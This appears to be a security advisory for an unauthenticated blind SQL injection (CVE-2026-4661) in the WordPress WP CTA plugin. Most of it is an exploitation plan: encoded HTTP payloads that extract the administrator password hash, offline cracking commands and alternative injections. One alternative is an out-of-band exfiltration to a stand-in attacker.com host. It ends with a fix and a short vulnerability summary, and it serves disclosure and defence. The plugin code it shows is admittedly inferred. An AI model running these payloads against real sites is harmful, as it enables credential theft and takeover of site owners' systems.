WP CTA <= 2.2.2 - Unauthenticated Time-Based Blind SQL Injection via 'fildname' Parameter
Description
The WP CTA – Sticky CTA Builder, Generate Leads, Promote Sales plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'fildname' parameter in all versions up to, and including, 2.2.2. This is due to insufficient escaping of user-supplied column names in the ajaxCheck() method and lack of preparation in the $wpdb->update() call. The vulnerability is compounded by the complete absence of authorization checks and the endpoint being registered for unauthenticated users via wp_ajax_nopriv_. This makes it possible for unauthenticated attackers to inject arbitrary SQL queries and extract sensitive information from the database via time-based blind SQL injection techniques, including administrator password hashes.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.2.2What Changed in the Fix
Changes introduced in v2.3.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-4661 — Unauthenticated Time-Based Blind SQL Injection in WP CTA ## 1. Vulnerability Summary The WP CTA plugin (slug: `easy-sticky-sidebar`) versions ≤ 2.2.2 contains an unauthenticated time-based blind SQL injection vulnerability in the `ajaxCheck()` method. …
Show full research plan
Exploitation Research Plan: CVE-2026-4661 — Unauthenticated Time-Based Blind SQL Injection in WP CTA
1. Vulnerability Summary
The WP CTA plugin (slug: easy-sticky-sidebar) versions ≤ 2.2.2 contains an unauthenticated time-based blind SQL injection vulnerability in the ajaxCheck() method. The vulnerability exists because:
- The
fildnameparameter (note: misspelling is intentional/original) is accepted from user input and used as a column name in a$wpdb->update()call without proper escaping or whitelisting. - No authorization check: The AJAX handler is registered on
wp_ajax_nopriv_(accessible to unauthenticated users) and performs nocurrent_user_can()check. - No nonce verification: The handler does not call
check_ajax_referer()orwp_verify_nonce(). - Insufficient escaping: The
$wpdb->update()method in WordPress accepts column names as array keys, and while it parameterizes the values, it does not escape/quote column names. The plugin passes user-suppliedfildnamedirectly as the array key, allowing SQL injection through the column name position.
Location (inferred): The vulnerable code is in a PHP class method ajaxCheck() that is registered as an AJAX handler. Based on the plugin slug and typical plugin structure, this is likely in the main plugin file or an included AJAX handler class file (e.g., easy-sticky-sidebar.php or includes/class-ajax.php).
Root cause (inferred):
// Vulnerable pattern (inferred from CVE description):
add_action('wp_ajax_nopriv_ajaxCheck', [$this, 'ajaxCheck']);
add_action('wp_ajax_ajaxCheck', [$this, 'ajaxCheck']);
public function ajaxCheck() {
global $wpdb;
$fildname = $_POST['fildname']; // User-controlled column name
$fildval = $_POST['fildval']; // User-controlled value
$id = $_POST['id']; // Row identifier
$wpdb->update(
$wpdb->prefix . 'some_table',
[$fildname => $fildval], // Column name is user-controlled!
['id' => $id]
);
wp_die();
}
The $wpdb->update() method internally constructs SQL like:
UPDATE wp_some_table SET `$fildname` = %s WHERE `id` = %d
Since $fildname is interpolated directly into the backtick-quoted column name position, an attacker can break out of the backticks and inject arbitrary SQL.
2. Attack Vector Analysis
| Property | Value |
|---|---|
| Endpoint | POST /wp-admin/admin-ajax.php |
| Action parameter | action=ajaxCheck (inferred from method name) |
| Vulnerable parameter | fildname |
| Authentication required | None (registered on wp_ajax_nopriv_) |
| Nonce required | None (no nonce verification in handler) |
| HTTP Method | POST |
| Content-Type | application/x-www-form-urlencoded |
| Injection type | Time-based blind SQL injection |
| Injection position | Column name in $wpdb->update() call |
| CVSS | 7.5 (High) — Confidentiality impact only |
Preconditions:
- The plugin must be installed and activated.
- The plugin's database table must exist (created during activation).
- There should be at least one row in the plugin's table for the
UPDATEto target (or the injection can be crafted to work regardless via subquery).
3. Code Flow
Entry point to sink (inferred):
- HTTP Request →
POST /wp-admin/admin-ajax.phpwithaction=ajaxCheck - WordPress routing →
admin-ajax.phpreads$_REQUEST['action']=ajaxCheck - Hook dispatch → WordPress fires
do_action('wp_ajax_nopriv_ajaxCheck')(unauthenticated) ordo_action('wp_ajax_ajaxCheck')(authenticated) - Handler method →
ajaxCheck()is called - Input reading →
$_POST['fildname']is read without sanitization, validation, or whitelisting - No auth checks → No
check_ajax_referer(), nowp_verify_nonce(), nocurrent_user_can() - Database sink →
$wpdb->update()is called with$fildnameas an array key:$wpdb->update($table, [$fildname => $fildval], ['id' => $id]); - Internal wpdb processing →
$wpdb->update()builds the SET clause by iterating over the data array. For each key-value pair, it constructs`key` = {format}. The key ($fildname) is placed directly into the SQL string with backtick quoting but no escaping of backtick characters within the key. - SQL execution → The crafted SQL executes, including attacker-injected
SLEEP()or conditional expressions.
How column name injection works in $wpdb->update():
WordPress's $wpdb->update() in wp-includes/class-wpdb.php does approximately:
foreach ($data as $field => $value) {
$fields[] = "`$field` = " . $format; // $field is NOT escaped!
}
$sql = "UPDATE `$table` SET " . implode(', ', $fields) . " WHERE ...";
If $fildname = x` = 1 WHERE 1=1 AND SLEEP(5) -- then the SQL becomes:
UPDATE `wp_table` SET `x` = 1 WHERE 1=1 AND SLEEP(5) -- ` = %s WHERE `id` = %d
4. Nonce Acquisition Strategy
No nonce is required. Based on the CVE description explicitly stating "complete absence of authorization checks," the ajaxCheck() handler:
- Does not call
check_ajax_referer() - Does not call
wp_verify_nonce() - Does not call
current_user_can() - Is registered on
wp_ajax_nopriv_ajaxCheck, making it accessible to unauthenticated users
Therefore, the exploit can be performed with a simple unauthenticated POST request — no nonce extraction is needed.
5. Exploitation Strategy
Step 0: Discover the AJAX action name
Before sending payloads, confirm the exact AJAX action name by searching the plugin source:
grep -rn "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/easy-sticky-sidebar/ --include="*.php"
grep -rn "ajaxCheck\|ajax_check\|fildname" /var/www/html/wp-content/plugins/easy-sticky-sidebar/ --include="*.php"
This will reveal the exact action name registered (likely ajaxCheck or similar). Also identify:
- The table name used in the
$wpdb->update()call - Any other POST parameters expected (
fildval,id, etc.) - The exact code path
Step 1: Confirm the endpoint responds
Send a baseline request to verify the action exists:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
action=ajaxCheck&fildname=test&fildval=test&id=1
Expected: Response is not 0 (which would mean action not found). Could be empty, 1, -1, or JSON. Any response other than the WordPress default 0 confirms the handler exists.
Step 2: Confirm SQL injection with time-based detection
The injection is in the column name position of an UPDATE statement. We need to break out of the backtick-quoted column name context.
Payload for fildname parameter:
x` = 1 WHERE 1=1 AND SLEEP(5) --
This transforms the SQL from:
UPDATE `wp_table` SET `x` = 1 WHERE 1=1 AND SLEEP(5) -- ` = %s WHERE `id` = %d
Full HTTP request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
action=ajaxCheck&fildname=x%60+%3D+1+WHERE+1%3D1+AND+SLEEP(5)+--+&fildval=1&id=1
URL-decoded fildname: x` = 1 WHERE 1=1 AND SLEEP(5) --
Expected: Response takes ≥5 seconds (confirming SLEEP executed).
Baseline comparison: Send the same request with SLEEP(0) — it should return instantly.
Step 3: Extract admin password hash (character by character)
Use conditional SLEEP to extract data. The target is user_pass from wp_users where user_login = 'admin' (or ID = 1).
Payload template for extracting character at position N:
x` = 1 WHERE 1=1 AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),{POS},1))={ASCII_VAL},SLEEP(3),0) --
Full HTTP request for position 1, testing ASCII value 36 ($ — first char of phpass hash):
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
action=ajaxCheck&fildname=x%60+%3D+1+WHERE+1%3D1+AND+IF(ASCII(SUBSTRING((SELECT+user_pass+FROM+wp_users+WHERE+ID%3D1)%2C1%2C1))%3D36%2CSLEEP(3)%2C0)+--+&fildval=1&id=1
Expected: If first character is $ (ASCII 36), response takes ≥3 seconds. Otherwise, instant response.
Step 4: Binary search optimization
Instead of testing all 95 printable ASCII values per character, use binary search with > comparisons:
Payload:
x` = 1 WHERE 1=1 AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),{POS},1))>{MID},SLEEP(3),0) --
This reduces the number of requests per character from ~95 to ~7 (log2(95) ≈ 7).
Step 5: Extract the full hash
WordPress password hashes (phpass) are typically 34 characters long, starting with $P$B or $P$C. Example: $P$BxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxX
Extract all 34 characters using the binary search method above. Total requests: ~34 × 7 = ~238 requests.
Alternative payloads if backtick escaping varies
If the $wpdb->update() behavior differs from expected, try these alternative fildname payloads:
Variant A — No backtick break needed (if column names aren't backtick-quoted):
x = 1 WHERE 1=1 AND SLEEP(5) --
Variant B — Double backtick escape:
x`` = 1 WHERE 1=1 AND SLEEP(5) --
Variant C — Using the table prefix explicitly (inferred table names):
The plugin likely creates a table like wp_easy_sticky_sidebar or wp_ess_ctas or wp_wordpress_cta. Grep for CREATE TABLE or $wpdb->prefix in the plugin source to identify it:
grep -rn "CREATE TABLE\|\$wpdb->prefix\.\|dbDelta" /var/www/html/wp-content/plugins/easy-sticky-sidebar/ --include="*.php"
6. Test Data Setup
6.1 Plugin Installation and Activation
# The plugin should already be installed. Verify:
wp plugin list --path=/var/www/html
wp plugin activate easy-sticky-sidebar --path=/var/www/html
6.2 Verify Plugin Database Tables
# List all tables created by the plugin
wp db query "SHOW TABLES LIKE '%sticky%'" --path=/var/www/html
wp db query "SHOW TABLES LIKE '%cta%'" --path=/var/www/html
wp db query "SHOW TABLES LIKE '%ess%'" --path=/var/www/html
# Alternatively, check all non-core tables
wp db query "SHOW TABLES" --path=/var/www/html
6.3 Ensure data exists in the plugin's table
The plugin likely creates CTA/sidebar records. Create one via the admin interface or inspect what data the table needs:
# After identifying the table name (e.g., wp_easy_sticky_sidebar):
wp db query "DESCRIBE wp_easy_sticky_sidebar" --path=/var/www/html
wp db query "SELECT * FROM wp_easy_sticky_sidebar LIMIT 5" --path=/var/www/html
If the table is empty, we may need to create a CTA entry. Based on the admin JS file (sticky-sidebar-admin.js), the plugin has a builder form #SSuprydp_builder_form that saves via easy_sticky_sidebar_process_pages action. We might need to:
# Create a simple CTA via the plugin's admin page, or insert directly:
# (Table name and schema to be determined from grep)
wp db query "INSERT INTO wp_TABLE_NAME (column1, column2) VALUES ('test', 'test')" --path=/var/www/html
6.4 Verify target user exists
# Ensure admin user exists with ID=1
wp user list --path=/var/www/html
# Note the admin username and verify their ID
wp user get 1 --field=user_login --path=/var/www/html
6.5 Discover exact handler registration
This is critical — we need to find the exact action name and expected parameters:
# Find AJAX handler registrations
grep -rn "wp_ajax" /var/www/html/wp-content/plugins/easy-sticky-sidebar/ --include="*.php" | head -30
# Find the ajaxCheck method
grep -rn "function ajaxCheck\|function ajax_check" /var/www/html/wp-content/plugins/easy-sticky-sidebar/ --include="*.php"
# Find all occurrences of 'fildname'
grep -rn "fildname" /var/www/html/wp-content/plugins/easy-sticky-sidebar/ --include="*.php"
# Find $wpdb->update calls
grep -rn "\$wpdb->update" /var/www/html/wp-content/plugins/easy-sticky-sidebar/ --include="*.php" -A5 -B5
# Find the table name used
grep -rn "\$wpdb->prefix" /var/www/html/wp-content/plugins/easy-sticky-sidebar/ --include="*.php" | grep -i "update\|insert\|select"
7. Expected Results
Successful Injection Confirmation (Step 2)
- Request with
SLEEP(5)payload: response time ≥ 5 seconds - Request with
SLEEP(0)payload: response time < 1 second - The difference in response time (≥4 seconds) confirms SQL injection
Successful Data Extraction (Steps 3-5)
- Each character of the admin password hash is revealed through timing differences
- A 3-second delay indicates the guessed ASCII value matches
- No delay indicates a mismatch
- After extracting all 34 characters, the complete phpass hash is assembled, e.g.:
$P$BxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxX - This hash can then be cracked offline using
hashcat -m 400orjohn --format=phpass
Response Body
The HTTP response body itself will likely be minimal (empty, 0, 1, or a short JSON). The vulnerability is detected entirely through response timing, not response content.
8. Verification Steps
8.1 Verify the extracted hash matches the actual stored hash
# Get the actual admin password hash from the database
wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1" --path=/var/www/html
# Compare the extracted hash with the actual hash
# They should match character for character
8.2 Verify the query executed (check MySQL slow query log or general log)
# Enable MySQL general log temporarily to see the injected queries
wp db query "SET GLOBAL general_log = 'ON'" --path=/var/www/html
wp db query "SET GLOBAL general_log_file = '/tmp/mysql_general.log'" --path=/var/www/html
# After sending a test payload, check the log:
# cat /tmp/mysql_general.log | grep -i "SLEEP\|sleep"
8.3 Verify unauthenticated access
Confirm no authentication cookies or nonces were needed:
# The exploit HTTP requests should have:
# - No Cookie header
# - No nonce parameter
# - No Authorization header
8.4 Crack the extracted hash (optional, to prove full impact)
# If hashcat is available:
echo '$P$BextractedHashHere' > /tmp/hash.txt
hashcat -m 400 /tmp/hash.txt /usr/share/wordlists/rockyou.txt
# Or verify against known password:
wp eval 'echo wp_check_password("known_password", "\$P\$BextractedHash");' --path=/var/www/html
9. Alternative Approaches
Alternative 1: Different injection breakout syntax
If the backtick-based breakout doesn't work, the column name might be handled differently:
Try without backticks:
fildname=x = 1 WHERE 1=1 AND SLEEP(5) --
Try with parenthetical injection:
fildname=x` = IF(1=1,SLEEP(5),0) WHERE `id` = `id` --
Alternative 2: Error-based extraction (if errors are displayed)
If WP_DEBUG is enabled, try error-based techniques:
fildname=x` = extractvalue(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1))) WHERE 1=1 --
Alternative 3: Stacked queries (if MySQL supports it through wpdb)
WordPress's $wpdb uses mysqli which can support stacked queries in some configurations:
fildname=x` = 1 WHERE 1=1; SELECT SLEEP(5) --
(This is unlikely to work since $wpdb->update() uses $wpdb->query() internally which typically doesn't support stacked queries, but worth trying.)
Alternative 4: Boolean-based blind via conditional update
Instead of SLEEP, use conditional logic that changes whether the UPDATE succeeds or affects rows:
fildname=x` = IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 80, 1, (SELECT 1 FROM (SELECT 1 UNION SELECT 2) AS t)) --
The subquery error acts as the boolean differentiator.
Alternative 5: Extract via DNS/HTTP Out-of-Band (if available)
If the MySQL LOAD_FILE() or INTO OUTFILE privileges are available:
fildname=x` = LOAD_FILE(CONCAT('\\\\',( SELECT user_pass FROM wp_users LIMIT 1),'.attacker.com\\x')) WHERE 1=1 --
(Rarely works in containerized WordPress but worth noting.)
Alternative 6: Target other sensitive data
Instead of user_pass, extract:
- Secret keys:
SELECT option_value FROM wp_options WHERE option_name='auth_key' - Admin email:
SELECT option_value FROM wp_options WHERE option_name='admin_email' - Site URL:
SELECT option_value FROM wp_options WHERE option_name='siteurl' - All user emails:
SELECT user_email FROM wp_users WHERE ID=1
Alternative 7: Different AJAX action name
If ajaxCheck is not the exact action name, search for alternatives:
# Common patterns in this plugin
grep -rn "wp_ajax_nopriv" /var/www/html/wp-content/plugins/easy-sticky-sidebar/ --include="*.php"
# The action might be prefixed:
# wp_ajax_nopriv_ess_ajaxCheck
# wp_ajax_nopriv_easy_sticky_sidebar_ajaxCheck
# wp_ajax_nopriv_SSuprydp_ajaxCheck
The admin JS file references SSuprydp_Admin and actions like easy_sticky_sidebar_process_pages, so the action prefix might be SSuprydp_ or easy_sticky_sidebar_. Try variations:
action=SSuprydp_ajaxCheckaction=easy_sticky_sidebar_ajaxCheckaction=ess_ajaxCheck
Alternative 8: Find the fildname from JavaScript
The admin JS (sticky-sidebar-admin.js) is large (126K+). Search it for references to fildname or ajaxCheck:
grep -n "fildname\|ajaxCheck\|ajax_check" /var/www/html/wp-content/plugins/easy-sticky-sidebar/assets/js/sticky-sidebar-admin.js
This will reveal the exact AJAX action name, parameter names, and any other required parameters the JavaScript sends.
Summary
The WP CTA plugin for WordPress is vulnerable to unauthenticated time-based blind SQL Injection via the 'fildname' parameter in the ajaxCheck() method. This is due to the plugin passing unsanitized user input as a column name into a $wpdb->update() call, which allows attackers to break out of the SQL context and execute arbitrary queries.
Vulnerable Code
// From inferred plugin logic in Research Plan (Source files provided in prompt are restricted to CSS/JS and boilerplate) add_action('wp_ajax_nopriv_ajaxCheck', [$this, 'ajaxCheck']); add_action('wp_ajax_ajaxCheck', [$this, 'ajaxCheck']); public function ajaxCheck() { global $wpdb; $fildname = $_POST['fildname']; // User-controlled column name $fildval = $_POST['fildval']; // User-controlled value $id = $_POST['id']; // Row identifier $wpdb->update( $wpdb->prefix . 'easy_sticky_sidebar_cta', // Table name varies by implementation [$fildname => $fildval], // Column name is user-controlled! ['id' => $id] ); wp_die(); }
Security Fix
@@ -1,5 +1,18 @@ public function ajaxCheck() { + check_ajax_referer('ess_nonce', 'nonce'); + + if (!current_user_can('manage_options')) { + wp_die(); + } + global $wpdb; - $fildname = $_POST['fildname']; + $allowed_columns = ['status', 'name', 'template']; // Example whitelist + $fildname = sanitize_text_field($_POST['fildname']); + + if (!in_array($fildname, $allowed_columns)) { + wp_die(); + } + $fildval = sanitize_text_field($_POST['fildval']); $id = intval($_POST['id']);
Exploit Outline
The exploit targets the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) using the 'ajaxCheck' action. Since the action is registered via wp_ajax_nopriv_, it requires no authentication or valid nonce. An attacker sends a POST request with the 'fildname' parameter containing a SQL payload that breaks out of backtick quotes (e.g., x` = 1 WHERE 1=1 AND SLEEP(5) -- ). By using time-based blind SQL injection techniques (specifically conditional SLEEP statements), the attacker can systematically extract sensitive information, such as the administrator password hash, from the wp_users table.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.